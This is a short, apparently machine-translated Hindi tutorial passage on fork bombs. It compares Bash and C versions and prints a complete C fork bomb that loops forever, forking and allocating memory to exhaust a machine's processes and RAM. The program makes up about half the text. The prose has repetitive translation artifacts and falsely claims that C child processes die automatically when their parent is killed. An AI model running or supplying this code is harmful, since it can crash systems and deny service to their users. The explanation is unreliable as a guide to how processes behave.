यह पहले ही स्पष्ट हो चुका है कि BASH फोर्क बम C प्रोग्राम के अपने संस्करण की तुलना में बहुत अधिक शक्तिशाली है। मुख्य कारण यह है कि बाश में बनाई गई प्रक्रिया माता-पिता से अलग हो जाती है। यदि मूल प्रक्रिया (जिसे हमने शुरू में शुरू किया था) नष्ट हो जाती है या नष्ट हो जाती है, तो शेष या शेष प्रक्रियाएं चलती रहती हैं। लेकिन सी कार्यान्वयन के मामले में, माता-पिता के नष्ट होने या मारे जाने पर सूचीबद्ध चाइल्ड प्रोसेस अपने आप मर जाते हैं। सिस्टम के साथ सीधे संवाद करने के लिए एक स्क्रिप्ट जिम्मेदार होती है।
सी में फोर्क बम प्रोग्राम को अपडेट या संशोधित किया जा सकता है। हम फोर्क प्रक्रियाओं को बनाते समय प्रोग्राम में मेमोरी आवंटित करने में सक्षम हो सकते हैं।
निम्नलिखित कार्यक्रम को संशोधित सी फोर्क बम के कार्यान्वयन के रूप में माना जाता है -
// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
// Infinite loop
while (1){
// Generating child fork processes
fork();
// Allocating memory in RAM
int *p1 = (int *) malloc (sizeof (int) * 100000);
}
}